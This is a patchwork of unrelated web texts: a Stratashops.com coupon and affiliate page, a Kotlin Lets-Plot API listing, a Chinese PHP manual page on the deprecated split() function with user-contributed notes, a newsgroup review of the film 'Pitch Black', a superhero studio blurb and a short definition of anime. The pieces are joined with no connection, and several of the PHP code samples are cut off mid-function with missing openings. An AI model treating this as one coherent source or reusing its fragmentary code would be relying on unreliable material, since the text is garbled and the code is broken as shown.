--- layout: post permalink: stratashopscom.html Tags: Array NameOfCoupon: Stratashops.com Cash Back Summary: See our Stratashops.com Coupon Code, Stratashops.com Rebate, Stratashops.com Promo Code, Stratashops.com Discount, Stratashops.com Coupon Cash Back Rebate here. MetaKeywords: Stratashops.com Coupon Code, Stratashops.com Rebate, Stratashops.com Promo Code, Stratashops.com Cash Back Rebate, Stratashops.com Discount, Stratashops.com Coupon Image: images/16258.gif LinkURL: http://www.shareasale.com/r.cfm?b=113597&u=412002&m=16258 affiliate_url_link: http://www.icouponblog.com/jane.php?id=202 thesis_readmore: See the Stratashops.com Coupon thesis_thumb: http://www.icouponblog.com/tn.php?merchantURL=stonecrestfurniture.com Title: Save 2.5% - Stratashops.com Coupon Code for stonecrestfurniture.com. Stratashops.com Rebate & Discount thesis_description: Our Stratashops.com Discount Coupon Code for stonecrestfurniture.com. We have the best Stratashops.com Rebate anywhere. thesis_keywords: Stratashops.com, Stratashops.com Coupon Code, Stratashops.com Discount, Stratashops.com Rebate product_name: Stratashops.com hop_url: http://www.icouponblog.com/hop.php?id=202 ---
Tired of your old dingy furniture? Looking to give your space a fresh and updated look? Or, perhaps you’re a vendor looking to sell furniture. Either way, Stratashops.com has solutions for you! Stratashops.com emerged in 2008 to create an easy and effortless shopping experience. With a primary focus on collaboration and simplification, Stratashops.com makes shopping more trouble-free than ever. Not only can you shop in the comfort of your own home without having to walk for hours in stuffy stores, you actually have a plethora of options right at your fingertips!
Stratashops.com brings together vendors that sell high quality indoor and outdoor furniture all in one place. This method offers an unparalleled variety and diversity in the purchasing options available to you. Stratashops.com gives you access to Stonecrest Furniture, Wicker Central, Unique Teak Furniture and The Living Quarters to name just a few. Stratashops.com will quickly become your favorite place to shop for all things furniture. You’ll also love saving big with the Stratashops.com Coupon above.
Make your house a home with the stylish and unique furniture choices from Stratashops.com. Also, take advantage of this opportunity to save money in the process! Use your Stratashops.com Coupon to receive your Stratashops.com Discount on all your Stratashops.com purchases. Your home will look great, and so will your wallet!


Figure |
interface Figure |
FrontendContext |
interface FrontendContext |
Geom |
object Geom |
GGBunch |
class GGBunch : Figure
|
LetsPlot |
object LetsPlot |
MappingMeta |
class MappingMeta |
Pos |
object Pos |
Stat |
object Stat |
theme |
Use theme() to modify individual components of a theme, allowing you to control the appearance of all non-data components of the plot. class theme : OptionsMap |
ENV_HTML_ISOLATED_FRAME |
const val ENV_HTML_ISOLATED_FRAME: String |
as_discrete |
Marks a numeric variable as categorical. The plot will use a discrete scale for the aesthetic mapping. It is similar to the factor() function from R but works differently - there is no data transformation. fun as_discrete(variable: String, label: String? = null): MappingMeta |
coord_cartesian |
The Cartesian coordinate system is the most familiar, and common, type of coordinate system. Setting limits on the coordinate system will zoom the plot (like you're looking at it with a magnifying glass), and will not change the underlying data like setting limits on a scale will. fun coord_cartesian(xlim: Pair<Number?, Number?>? = null, ylim: Pair<Number?, Number?>? = null): OptionsMap |
coord_fixed |
A fixed scale coordinate system forces a specified ratio between the physical representation of data units on the axes. fun coord_fixed(ratio: Double? = null, xlim: Pair<Number?, Number?>? = null, ylim: Pair<Number?, Number?>? = null): OptionsMap |
coord_map |
Projects a portion of the earth, which is approximately spherical, onto a flat 2D plane. Map projections do not, in general, preserve straight lines, so this requires considerable computation. fun coord_map(xlim: Pair<Number?, Number?>? = null, ylim: Pair<Number?, Number?>? = null): OptionsMap |
gggrid |
Arrange plots in cells of a regular grid. fun gggrid(plots: Iterable<Plot>, ncol: Int, cellWidth: Int, cellHeight: Int, hGap: Int = 0, vGap: Int = 50, fit: Boolean = false): GGBunch |
ggplot |
fun ggplot(data: Map<*, *>? = null, mapping: GenericAesMapping.() -> Unit = {}): Plot |
ggsize |
Specifies overall size of plot. fun ggsize(width: Int, height: Int): OptionsMap |
lets_plot |
fun lets_plot(data: Map<*, *>? = null, mapping: GenericAesMapping.() -> Unit = {}): Plot |
position_dodge |
fun position_dodge(width: Number? = null): PosOptions
|
position_jitter |
fun position_jitter(width: Number? = null, height: Number? = null): PosOptions
|
position_jitterdodge |
fun position_jitterdodge(dodgeWidth: Number? = null, jitterWidth: Number? = null, jitterHeight: Number? = null): PosOptions
|
position_nudge |
fun position_nudge(x: Number? = null, y: Number? = null): PosOptions
|


Skiprope Command Options
Command name
Add command
Save
Remove commands by leaving the name blank and saving.
Please report any issues on the
GitHub repo


split
(PHP 4, PHP 5)
split — 用正则表达式将字符串分割到数组中
说明
array split ( string $pattern , string $string [, int $limit ] )
Tip
preg_split() 函数使用了 Perl 兼容正则表达式语法，通常是比 split() 更快的替代方
案。如果不需要正则表达式的威力，则使用 explode() 更快，这样就不会招致正则表达式
引擎的浪费。
本函数返回一个字符串数组，每个单元为 string 经区分大小写的正则表达式 pattern 作
为边界分割出的子串。如果设定了 limit，则返回的数组最多包含 limit 个单元，而其中
最后一个单元包含了 string 中剩余的所有部分。如果出错，则 split() 返回 FALSE。
将 /etc/passwd 中的前四个字段分割出来：
Example #1 split() 例子
如果字符串中有 n 个与 pattern 匹配的项目，则返回的数组将包含 n+1 个单元。例如，
如果没有找到 pattern，则会返回一个只有一个单元的数组。当然，如果 string 为空也
是这样。
解析可能用斜线，点，或横线分割的日期：
Example #2 split() 例子
\n";
?>
想仿效 Perl 中类似的 @chars = split('', $str) 行为，请参考 preg_split() 或
str_split() 函数中的例子。
注意 pattern 是一个正则表达式。如果想要用的分割字符是正则表达式中的特殊字符，要
先将其转义。如果觉得 split()（或其它任何 regex 函数）行为古怪的话，请阅读包含在
PHP 发行包中 regex/ 子目录下的 regex.7 文件。该文件是手册页面格式，可以用类似
man /usr/local/src/regex/regex.7 的命令来阅读。
参见 preg_split()，spliti()，str_split()，explode()，implode()，chunk_split()
和 wordwrap()。
User Contributed Notes 26 notes
===============================================================================
Just a friendly reminder: split was completely removed on PHP 7.
===============================================================================
Ups! It seems that neither explode nor split REALY takes a STRING but only a
single character as a string for splitting the string.
I found this problem in one of my codes when trying to split a string using ";\
n" as breaking string. The result, only ";" was thaken... the rest of the
string was ignored.
Same when I tried to substitute "\n" by any other thing. :(
===============================================================================
In response to the getCSVValues() function posted by justin at cam dot org, my
testing indicates that it has a problem with a CSV string like this:
1,2,"3,""4,5"",6",7
This parses as:
array(6) {
[0]=>
string(1) "1"
[1]=>
string(1) "2"
[2]=>
string(4) "3,"4"
[3]=>
string(1) "5"
[4]=>
string(0) ""
[5]=>
string(1) "7"
}
instead of:
array(4) {
[0]=>
string(1) "1"
[1]=>
string(1) "2"
[2]=>
string(9) "3,"4,5",6"
[3]=>
string(1) "7"
}
To fix this, I changed the second substr_count to look for an odd number of
quotes, as opposed to any quotes at all:
0) {
// Remove first and last quotes, then merge pairs of quotes
$qstr =& $elements[$i];
$qstr = substr_replace($qstr, '', strpos($qstr, '"'), 1);
$qstr = substr_replace($qstr, '', strrpos($qstr, '"'), 1);
$qstr = str_replace('""', '"', $qstr);
}
}
return $elements;
}
?>
===============================================================================
The example from ramkumar rajendran did not work.
$line = split("/\n", $input_several_lines_long);
I do not know why this does not work for me.
The following has worked for me to get a maximum of 2 array parts separated by
the first new line (independant if saved under UNIX or WINDOWS):
$line = preg_split('/[\n\r]+/',$input_several_lines_long,2);
Also empty lines are not considered here.
===============================================================================
In answer to gwyne at gmx dot net, dec 1, 2002:
For split(), when using a backslash as the delimiter, you have to *double
escape* the backslash.
example:
==================================
$line = 'stuff\\\thing\doodad\\';
$linearray = split('\\\\', $line); //<--NOTE USE OF FOUR(4)backslashes
print join(":", $linearray);
?>
==================================
output is:
stuff::thing:doodad:
===============================================================================
Original problem:
=================
I've try using split function.
";
echo "p1-".$valore[0]."
";
echo "p2-".$valore[1]."
";
echo "p3-".$valore[2]."
";
$ferro="2d12";
$valore=split("[d]",$ferro);
echo $ferro."
";
echo "p1-".$valore[0]."
";
echo "p2-".$valore[1]."
";
echo "p3-".$valore[2]."
";
?>
This return:
============
2�12
p1-2
p2-
p3-12
2d12
p1-2
p2-12
p3-
I use charset UTF-8. When I use char � the split function ad an empty
string between "2" and "12"... Why?
Explanation:
============
UTF-8 charset codes some characters (like the "�" character) into two
bytes. In fact the regular expresion "[�]" contains 4 bytes (4
non-unicode characters). To demonstrate the real situation I wrote following
example:
$ferro="2de12";
$valore=split("[de]",$ferro);
echo $ferro."
";
echo "p1-".$valore[0]."
";
echo "p2-".$valore[1]."
";
echo "p3-".$valore[2]."
";
This returns:
=============
2d12
p1-2
p2-
p3-12
===============================================================================
If you are looking for EITHER open square brackets OR close square brackets,
then '[[]]' won't work (reasonably expected), but neither will '[\[\]]', nor
with any number of escapes. HOWEVER, if your pattern is '[][]' it will work.
===============================================================================
If you want to use split to check on line feeds (\n), the following won't work:
$line = split("\n", $input_several_lines_long);
You really have to do this instead, notice the second slash:
$line = split("\\n", $input_several_lines_long);
Took me a little while to figure out.
===============================================================================
> strange things happen with split
> this didn't work
> $vontag $vonmonat were empty strings
...
> list ($vontag , $vonmonat) = split ('.' , $fromdate); // << bad
Split is acting exactly as it should; it splits on regular expressions.

So, an actual period must be escaped with a backslash: '\.'
A period within brackets is not an any-character pattern, because it does
not make sense in that context.
Beware that regular expressions can be confusing becuase there
are a few different varieties of patterns.
===============================================================================
[Ed. note: Close. The pipe *is* an operator in PHP, but
the reason this fails is because it's also an operator
in the regex syntax. The distinction here is important
since a PHP operator inside a string is just a character.]
The reason your code:
$line = "12|3|Fred";
list ($msgid, $msgref, $msgtopic)=split('|', $line);
didn't work is because the "|" symbol is an operator in PHP. If you want to use
the pipe symbol as a delimiter you must excape it with a back slash, "\|". You
code should look like this:
$line = "12|3|Fred";
list ($msgid, $msgref, $msgtopic)=split('\|', $line);
===============================================================================
Thank you Dave for your code below. Here is one change I made to avoid a
redundant quote at the end of some lines (at least when I used excel:
Added another --length; into the if statement below:
// Is the last thing a quote?
if ($trim_quote){
// Well then get rid of it
--$length;
// ADD TO FIX extra quote
--$length;
}
===============================================================================
The following code will mimick the explode functionality: explode( " ", $s );
The difference, of course, is that the split method takes a regular expression
instead of a string.
$s = "Split this sentence by spaces";
$words = split("[ ]+", $s);
print_r($words);
Output:
Array
(
[0] => Split
[1] => this
[2] => sentence
[3] => by
[4] => spaces
)
http://www.codesplunk.com/nr/questions/php12.html
===============================================================================
wchris's quotesplit assumes that anything that is quoted must also be a
complete delimiter-seperated entry by itself. This version does not. It also
uses split's argument order.
function quotesplit( $splitter=',', $s )
{
//First step is to split it up into the bits that are surrounded by
quotes
//and the bits that aren't. Adding the delimiter to the ends simplifies
//the logic further down
$getstrings = explode('"', $splitter.$s.$splitter);
//$instring toggles so we know if we are in a quoted string or not
$delimlen = strlen($splitter);
$instring = 0;
while (list($arg, $val) = each($getstrings))
{
if ($instring==1)
{
//Add the whole string, untouched to the previous value in the
array
$result[count($result)-1] = $result[count($result)-1].$val;
$instring = 0;
}
else
{
//Break up the string according to the delimiter character
//Each string has extraneous delimiters around it (inc the ones
we added
//above), so they need to be stripped off
$temparray = split($splitter, substr($val, $delimlen, strlen
($val)-$delimlen-$delimlen+1 ) );
while(list($iarg, $ival) = each($temparray))
{
$result[] = trim($ival);
}
$instring = 1;
}
}
return $result;
}
===============================================================================
A correction to a earlier note
If you want to use split to check on line feeds (\n), the following won't work:
$line = split("\n", $input_several_lines_long);
You really have to do this instead, notice the second slash:
$line = split("/\n", $input_several_lines_long);
Took me a little while to figure to do
===============================================================================
Actually, this version is better than the last I submitted. The goal here is
to be able to engage in *multiple* delimeter removal passes; for all but the
last pass, set the third value to "1", and everything should go well.
function quotesplit( $splitter=',', $s, $restore_quotes=0 )
{
//First step is to split it up into the bits that are surrounded by
quotes
//and the bits that aren't. Adding the delimiter to the ends simplifies
//the logic further down
$getstrings = explode('"', $splitter.$s.$splitter);
//$instring toggles so we know if we are in a quoted string or not
$delimlen = strlen($splitter);
$instring = 0;
while (list($arg, $val) = each($getstrings))
{
if ($instring==1)
{
if( $restore_quotes )
{
//Add the whole string, untouched to the previous value in
the array
$result[count($result)-1] = $result[count($result)
-1].'"'.$val.'"';
} else {
//Add the whole string, untouched to the array
$result[] = $val;
}
$instring = 0;
}
else
{
//Break up the string according to the delimiter character
//Each string has extraneous delimiters around it (inc the ones
we added
//above), so they need to be stripped off
$temparray = split($splitter, substr($val, $delimlen, strlen
($val)-$delimlen-$delimlen+1 ) );
while(list($iarg, $ival) = each($temparray))
{
$result[] = trim($ival);
}
$instring = 1;
}
}
return $result;
}
===============================================================================
moritz's quotesplit didn't work for me. It seemed to split on a comma even
though it was between a pair of quotes. However, this did work:
function quotesplit($s, $splitter=',')
{
//First step is to split it up into the bits that are surrounded by quotes and
the bits that aren't. Adding the delimiter to the ends simplifies the logic
further down
$getstrings = split('\"', $splitter.$s.$splitter);
//$instring toggles so we know if we are in a quoted string or not
$delimlen = strlen($splitter);
$instring = 0;
while (list($arg, $val) = each($getstrings))
{
if ($instring==1)
{
//Add the whole string, untouched to the result array.
$result[] = $val;
$instring = 0;
}
else
{
//Break up the string according to the delimiter character
//Each string has extraneous delimiters around it (inc the ones we added
above), so they need to be stripped off
$temparray = split($splitter, substr($val, $delimlen, strlen($val)
-$delimlen-$delimlen ) );
while(list($iarg, $ival) = each($temparray))
{
$result[] = trim($ival);
}
$instring = 1;
}
}
return $result;
}
===============================================================================
I'd like to correct myself, I found that after testing my last solution it will
create 5 lines no matter what... So I added this to make sure that it only
displays 5 if there are five newlines. :-)
');
if ($BRCount<$MaxNewLines)
$MaxNewLines=$BRCount;
else if($BRCount == 0)
$MaxNewLines=1;
$Message = str_replace(chr(13), "
", $Message);
$MessageArray = split("
", $Message, $MaxNewLines);
$Message = ""; $u=0;
do {
$Message.=$MessageArray[$u].'
';
$u++;
} while($u<($MaxNewLines-1));
$Message.=str_replace("
"," ",$MessageArray[$u]);
?>
-Tim
http://www.alphibia.com
===============================================================================
php4.3.0
strange things happen with split
this didn't work
$vontag $vonmonat were empty strings
= $von))
{
return TRUE;
}
else
{
return FALSE;
}
}
?>
however this one worked perfectly
= $von))
{
return TRUE;
}
else
{
return FALSE;
}
}
?>
btw this fn checks if $now if between $fromdate and $todate
use it if you like
===============================================================================
If you need to do a split on a period make sure you escape the period out..
$ext_arr = split("\.","something.jpg");
... because
$ext_arr = split(".","something.jpg"); won't work properly.
===============================================================================
split() doesn't like NUL characters within the string, it treats the first one
it meets as the end of the string, so if you have data you want to split that
can contain a NUL character you'll need to convert it into something else
first, eg:
$line=str_replace(chr(0),'',$line);
===============================================================================
Those of you trying to use split for CSV, it won't always work as expected.
Instead, try using a simple stack method:
0) ? str_replace($enclosure .
$enclosure, $enclosure, substr($data, $last_pos, $length)) : '';
// And we're done
if ($done){
break;
}
// Save the last position
$last_pos = $pos;
// Next row?
if ($char == $newline){
++$row;
}
$trim_quote = false;
}
// Our quote?
else if ($char == $enclosure){
// Toggle it
if ($quote_open == false){
// It's an opening quote
$quote_open = true;
$trim_quote = false;
// Trim this opening quote?
if ($last_pos + 1 == $pos){
++$last_pos;
}
}
else {
// It's a closing quote
$quote_open = false;
// Trim the last quote?
$trim_quote = true;
}
}
}
return $return;
}
?>
This *should* work for any valid CSV string, regardless of what it contains
inside its quotes (using RFC 4180). It should also be faster than most of the
others I've seen. It's very simple in concept, and thoroughly commented.
===============================================================================
I kept running into the same issue Chris Tyler experienced with lewis [ at t]
hcoms [d dot t] co [d dot t] uk's function before realizing that Chris had come
up with a solution. However, that solution was just a little off it seems,
unless your CSV only contains one line.
If you simply add another --length; in the place you suggested, then the
function will always trim the last two characters on the line. Since the
newline character is the last character on the line and the redundant quote (or
other enclosure) is the second to last character, this works for the final
segment. But when parsing segments that do not include a newline character, you
end up trimming the redundant enclosure and the last character before the
enclosure.
For example,
"he","she","him","her"\r\n
becomes
[0] => h
[1] => sh
[2] => hi
[3] => her
Since the segment could end with the enclosure (i.e., ") or the enclosure
followed by the newline (i.e., "\r\n), you have make sure you are only adding
another --length; when the latter is the case. Replacing the code block that
you suggested with the following will do the trick.
# Is the last thing a newline?
if( $char == $newline )
{
# Well then get rid of it
--$length;
}
# Is the last thing a quote?
if( $trim_quote )
{
# Well then get rid of it
--$length;
}
I've tested this only for the purposes of the script I'm working on at this
time. So, there could be other bugs I haven't come across, but this seems like
the easiest way to eliminate the redundant enclosure.
===============================================================================
Though this is obvious, the manual is a bit incorrect when claiming that the
return will always be 1+number of time the split pattern occures. If the split
pattern is the first part of the string, the return will still be 1. E.g.
$a = split("zz," "zzxsj.com");
count($a);
=> 1.
The return of this can not in anyway be seperated from the return where the
split pattern is not found.
===============================================================================
It's evident but not mentioned in the documentation that using asterisks is
more restricted than in a normal regular expression.
for exaple you cannot say:
split(";*",$string);
because what if there's no ";" separator?(which is covered by this regular
expression)
so you have to use at least
split(";+",$quotatxt);
in this situation.
===============================================================================
// Split a string into words on boundaries of one or more spaces, tabs or
new-lines
$s = "Please cut \t me \n in pieces";
$words = split("[\n\r\t ]+", $s);
print_r($words);
// Output:
Array
(
[0] => Please
[1] => cut
[2] => me
[3] => in
[4] => pieces
)
===============================================================================
This is a good way to display a comma delimited file with two columns. The
first column is the URL's description, the second is the actual URL.
";
print "$desc";
print "\n";
$line = fgets( $fp, 1024 );
}
fclose($fp);
?>


 That would be the most accurate choice of words when describing the majority of sci-fi monster movies that have been exposed to in the past few years.  And let's not forgot this January's `Supernova'. Holy Lord, did that movie reek. But before you reject `Pitch Black', a science-fiction film with no A-list stars or special trimmings, keep in mind that director David Twohy is behind the camera. You may recollect that Twohy's directorial debut was the highly intelligent (and highly underappreciated) alien takeover film `The Arrival'. Sure, Charlie Sheen was in it, but the film was executed with an unusual aura of imagination and style. Twohy also co-scripted the excellent cat-and-mouse thriller `The Fugitive' in 1993, so with `Pitch Black', I was expecting more than just a bloody parade of stock characters pitted in unoriginal situations. There was also my knowledge that, in addition, Twohy penned `Waterworld'.... but hey, we all make mistakes.
`Pitch Black' opens with a bang. A transport ship carrying several passengers and some particularly dangerous cargo collides with space debris and plummets through the stratosphere in an astounding 10-minutes of seat-gripping disorientation. The unscheduled landing site is a desolate, seemingly uninhabited desert planet with three suns. The handful of survivors include captain Fry (Radha Mitchell), the strong-minded heroine with more than a dash of Ripley in her soul, rugged lawman Johns (Cole Hauser), and the dangerous cargo - a murderous convict by the name of Riddick (Vin Diesel). Riddick's chilling opening narrative defines his character to a tee: `They say in cryo-sleep, the only part of you that doesn't shut down is the primitive side...the animal,' he says. `I guess that's why I'm still awake.' When Riddick frees himself from his confinement to roam the planet by foot, the remaining passengers get spooked. But what they really should be concerned about is the local wildlife: an endless swarm of nocturnal creatures that could be described as carnivorous hammerhead pterodactyls. Luckily, they only attack at night. Johns has a breakthrough: `They seem to stick to darkness, so if we stick to daylight, we should be alright.'
And then, a total eclipse occurs. Isn't that always the luck of characters in this type of movie? At any rate, the survivors must scramble across the desert plain with the necessary amount of energy cells they will require to takeoff. The real question at hand is this: placed in a life-threatening situation, will Riddick help the crew or flee for the sake of his own freedom? Would you believe that this, the extra dimension of character development, is one standout factor that makes `Pitch Black' so refreshing? ‘Tis true. The screenplay, by Twohy and brothers Jim and Ken Wheat (who penned several forgettable sci-fi movies), is a competent tension builder that boasts an absorbing set-up and some palpable character interaction. There are memorable scenes, all stemming from the character of Riddick. Inman (Keith David), the leader of a small group of Islamic pilgrims, approaches Riddick to question his faith in God. The timid English boozehound Paris (well-played by Lewis Fitz-Gerald) is positively horrified of him, and finally there's the kid (Rhiana Griffith), who wants to be Riddick.
Diesel, tough and lean, makes quite the lasting impression. But the real star here is the alien foe - a massive, skittering army of clawed monsters, sensationally well-devised and sleek in their appearance. Twohy builds tension nicely by keeping the creatures in the shadows until the eclipse, when they emerge from under the planet's surface in tremendous numbers. All around, the visual effects - including the well-edited crash sequence - are top-of-the-line in quality, despite the relatively meager budget.
The script offers us intelligence, but it eventually degenerates into a leftover creature feature ghoulash. The stylish, visually polished appearance of `Pitch Black', often bleached out in a manner reminiscent of the Gulf War comedy `Three Kings', is the film's most vital component. Effective images such as the towering skeletonized remains of past inhabitants are scattered across the alien landscape, and the cinematography is spellbinding. The only time Twohy really indulges is during a few attack sequences which reveal that he could have graduated from the Brian DePalma school of editing; these fast, choppy cuts are rather ineffective. My major complaint was the lack of action during the 2nd act. This all changes, however, when the lights go down and the beasties come out to play...and not in a friendly sense.
All three primary actors - Diesel, Mitchell and Hauser - do splendidly with building their characters. `Pitch Black' offers some aspects that regular science-fiction does not: characters that we can identify with, a thoughtful visual look, and a few genuine surprises for such a simplistic plot. So, without further ado, sci-fi fans may rejoice: the sleek, intelligent `Pitch Black' is superior monster mayhem.
(C) 2000, Jamey Hughton
MOVIE VIEWS by Jamey Hughton http://Welcome.to/MovieViews
Your Comments Appreciated<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Superman
Wolverine
SpiderMan
The Joker vs Batman
Batman
Retired Super Heroes
We love our superheroes because they refuse to give up on us.  Will you join them in their quest? You are not too small. No one is ever too small to offer help. Come to AndroidLand Studios and Be A Super Hero!
Are you passionate about fantasy movies? Are you interested in comic book movies? We too! We are passionate about superheroes! And movies about vengeance. And all of that - the stuff that I grew up reading. Come to AndroidLand Studios and lets be Superheroes!
Book Now© 2017 AndroidLand. All Rights Reserved | Designed by Invictus


Anime, pronounced "AH-nee-may",is a term for a style of Japanese comic book and video cartoon animation in which the main characters have large doe-like eyes. Anime is the prevalent style in Japanese comic books or manga. In Japan, the comic book is a popular form of entertainment for adults as well as for younger audiences. Story lines are often very sophisticated and complex and extend into episodic series. Typical anime themes or genres include Ninja and other martial arts; the supernatural or horror story; the romance; and science fiction including robots and space ships. Foils for the main characters, including robots, monsters, or just plain bad people, often lack the doe-eyed quality.